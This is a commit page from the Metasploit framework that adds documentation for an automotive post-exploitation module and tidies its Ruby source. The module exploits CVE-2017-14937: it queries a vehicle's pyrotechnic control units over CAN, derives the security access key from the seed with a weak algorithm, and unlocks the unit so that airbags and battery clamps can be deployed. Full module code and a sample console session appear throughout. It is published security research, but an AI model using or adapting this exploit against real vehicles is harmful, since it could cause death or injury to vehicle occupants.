Skip to content

Commit 8344401

Browse files
committed
Add docs, minor tweaks.
1 parent 048b39c commit 8344401

File tree

2 files changed

+125
-33
lines changed
  • documentation/modules/post/hardware/automotive
  • modules/post/hardware/automotive

2 files changed

+125
-33
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module will first query all Pyrotechnic Control Units (PCUs) in the target vehicle to discover how many pyrotechnic devices are present, then attempt to validate the security access token using the default simplified algorithm. On success, the vehicle will be in a state that is prepped to deploy its pyrotechnic devices (e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)
2+
3+
This module is based on research by Johannes Braun and Juergen Duerrwang, which you can read more about [here](https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts) along with related [CVE-2017-14937](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14937).
4+
5+
## Options
6+
7+
**SRCID**
8+
9+
This is the SRC CAN ID for the PCU connection. Default is 0x7F1.
10+
11+
**DSTID**
12+
13+
This is the CAN ID of the expected response. Default is 0x7F9.
14+
15+
**CANBUS**
16+
17+
Determines which CAN bus to communicate on. Type 'supported_buses' for valid options.
18+
19+
**PADDING**
20+
21+
Optional byte-value to use for padding all CAN bus packets to an 8-byte length. Padding is disabled by default.
22+
23+
## Scenarios
24+
25+
A successful unlock and prepped-to-deploy of pyrotechnic devices in a target vehicle:
26+
27+
```
28+
$ ./msfconsole -q
29+
msf > use auxiliary/server/local_hwbridge
30+
msf auxiliary(local_hwbridge) > set uripath /
31+
uripath => /
32+
msf auxiliary(local_hwbridge) > run
33+
[*] Auxiliary module running as background job 0.
34+
35+
[*] Using URL: http://0.0.0.0:8080/
36+
[*] Local IP: http://10.0.2.4:8080/
37+
[*] Server started.
38+
39+
msf auxiliary(local_hwbridge) > use auxiliary/client/hwbridge/connect
40+
msf auxiliary(connect) > run
41+
42+
[*] Attempting to connect to 127.0.0.1...
43+
[*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2017-12-17 10:41:27 -0600
44+
[+] HWBridge session established
45+
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
46+
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
47+
[!] could have real world consequences. Use this module in a controlled testing
48+
[!] environment and with equipment you are authorized to perform testing on.
49+
[*] Auxiliary module execution completed
50+
51+
msf auxiliary(connect) > sessions -i 1
52+
[*] Starting interaction with 1...
53+
54+
hwbridge >
55+
hwbridge > run post/hardware/automotive/pdt canbus=<target CAN bus>
56+
57+
[*] Gathering Data...
58+
[*] VIN: 5555
59+
[*] Loop info (1 pyrotechnic devices):
60+
[*] 69 | battery clamp main battery
61+
[*] | Deployment Status: Fail ()
62+
[*] Number of PCUs in vehicle | 1
63+
[*] Info About First PCU
64+
[*] Address format this PCU(s) | 11 bit normal addressing
65+
[*] Number of pyrotechnic charges | 1
66+
[*] Version of ISO26021 standard | 1
67+
[*] ACL type | CAN only
68+
[*] ACL Type version | 1
69+
[*]
70+
[*] Switching to Diagnostic Session 0x04...
71+
[*] Getting Security Access Seed...
72+
[*] Success. Seed: ["01", "CF", "00", "00", "00"]
73+
[*] Attempting to unlock device...
74+
[*] Success!
75+
[!] Warning! You are now able to start the deployment of airbags in this vehicle
76+
[!] *** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***
77+
```

modules/post/hardware/automotive/pdt.rb

Lines changed: 48 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
76
require 'rex'
87
require 'msf/core/post/hardware/automotive/uds'
98

@@ -14,25 +13,36 @@ class MetasploitModule < Msf::Post
1413

1514
def initialize(info={})
1615
super( update_info( info,
17-
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags)',
18-
'Description' => %q{ Post Module to query how many Pyrotechnit Devices (PDTs) are available
19-
in the vehicle. It will then attempt to validate the security access
20-
token using the default simplified algorithm.. On success the vehicle
21-
will be prepped to deploy the airbags via the service routine. (ISO26021) },
16+
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
17+
'Description' => %q{ Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
18+
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
19+
to discover how many pyrotechnic devices are present, then attempt to validate
20+
the security access token using the default simplified algorithm. On success,
21+
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
22+
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021) },
2223
'License' => MSF_LICENSE,
23-
'Author' => ['Johannes Braun', 'Juergen Duerrwang'],
24+
'Author' => [
25+
'Johannes Braun', # original research
26+
'Juergen Duerrwang', # original research
27+
'Craig Smith' # research and module author
28+
],
29+
'References' =>
30+
[
31+
[ 'CVE', '2017-14937' ],
32+
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
33+
],
2434
'Platform' => ['hardware'],
2535
'SessionTypes' => ['hwbridge']
2636
))
2737
register_options([
28-
OptInt.new('SRCID', [true, "Module ID to query", 0x7f1]),
29-
OptInt.new('DSTID', [false, "Expected reponse ID, defaults to SRCID + 8", 0x7f9]),
30-
OptInt.new('PADDING', [false, "Padd the packet with extra bytes to always be 8 bytes long", 0x00]),
31-
OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil])
32-
], self.class)
38+
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
39+
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
40+
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
41+
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
42+
])
3343
end
3444

35-
LOOP_TABLE = {
45+
LOOP_TABLE = {
3646
0x00 => 'ISOSAEReserved',
3747
0x01 => 'airbag driver side frontal 1st stage',
3848
0x02 => 'airbag left side frontal 1st stage',
@@ -182,25 +192,25 @@ def initialize(info={})
182192
0x93 => 'active steering column',
183193
0x94 => 'front screen - emergency release',
184194
0x95 => 'read window - emergency release'
185-
}
195+
}
186196

187-
ACL_TYPES = {
197+
ACL_TYPES = {
188198
0x01 => 'CAN only',
189199
0x02 => 'ACL Comm Mode 12V',
190200
0x03 => 'ACL PWM FixedLevel 8V',
191201
0x04 => 'ACL Comm Mode 24V',
192202
0x05 => 'ACL PWM UbattLevel 12V',
193203
0x06 => 'ACL PWM UbattLevel 24V'
194-
}
204+
}
195205

196-
PCU_ADDRESS_FORMAT = {
206+
PCU_ADDRESS_FORMAT = {
197207
0x01 => '11 bit normal addressing',
198208
0x02 => '11 bit extended addressing',
199209
0x03 => '11 bit mixed addressing',
200210
0x04 => '29 bit normal fixed addressing',
201211
0x05 => '29 bit mixed addressing',
202212
0x06 => '29 bit unique addressing'
203-
}
213+
}
204214

205215
def print_vin(vin)
206216
return "" if vin.nil?
@@ -219,7 +229,7 @@ def print_loop_table(loopid)
219229
end
220230
else
221231
if loopid[i] && loopid[i].hex == 0
222-
print_status(" | Deployment Status: Good")
232+
print_status(' | Deployment Status: Good')
223233
else
224234
print_status(" | Deployment Status: Fail (#{loopid[i]})")
225235
end
@@ -230,7 +240,7 @@ def print_loop_table(loopid)
230240
def run
231241
opt = {}
232242
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
233-
print_status("Gathering Data...")
243+
print_status('Gathering Data...')
234244
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
235245
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
236246
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
@@ -239,56 +249,61 @@ def run
239249
acl_type_definition = loopid[0]
240250
acl_type_version = loopid[1]
241251
no_of_charges = loopid[2]
242-
252+
243253
print_vin(vin)
244254
print_loop_table(loopid)
245255
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
246-
print_status(" Info About First PCU")
256+
print_status(' Info About First PCU')
247257
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
248258
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
249259
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
250260
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
251261
print_status(" ACL Type version | #{acl_type_version.hex}")
252262
print_status
253-
print_status("Switching to Diagnostic Session 0x04...")
263+
print_status('Switching to Diagnostic Session 0x04...')
254264
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
255265
if resp.key? 'error'
256266
print_error("Could not switch to DSC 0x04: #{resp['error']}")
257267
return
258268
end
259269
# We may not need tester present at all because we will perform the action quickly
260270
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
261-
print_status("Getting Security Access Seed...")
271+
print_status('Getting Security Access Seed...')
262272
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
263273
if seed.key? 'error'
264274
print_error("Couldn't get seed: #{seed['error']}")
265275
return
266276
end
267277
print_status("Success. Seed: #{seed['SEED']}")
268-
print_status("Attempting to unlock device...")
278+
print_status('Attempting to unlock device...')
279+
display_warning = false
269280
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
270-
print_status("Security Access Already Unlocked!!")
281+
print_status('Security Access Already Unlocked!!')
282+
display_warning = true
271283
else
272284
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
273-
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
274-
if resp.key? 'error' and not resp['error'].key? 'RCRRP'
285+
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
286+
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
275287
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
276288
return
277289
end
278290
found_valid = false
279-
if resp.key? 'Packets' and resp['Packets'].size > 0
291+
if (resp.key? 'Packets') && resp['Packets'].size > 0
280292
resp['Packets'].each do |i|
281-
found_valid = true if i.key? 'DATA' and i['DATA'].size > 1 and i['DATA'][1] == "67"
293+
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
282294
end
283295
end
284296
if found_valid
285-
print_status("Success!")
297+
print_status('Success!')
298+
display_warning = true
286299
else
287300
print_error("Unknown response: #{resp.inspect}")
288301
end
289302
end
290-
print_warning("Warning! You're now able to start the deployment of airbags in this vehicle")
291-
print_warning("Occupants of the vehicle face potential death and injury")
303+
if display_warning
304+
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
305+
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
306+
end
292307
end
293308

294309
end

0 commit comments

Comments
 (0)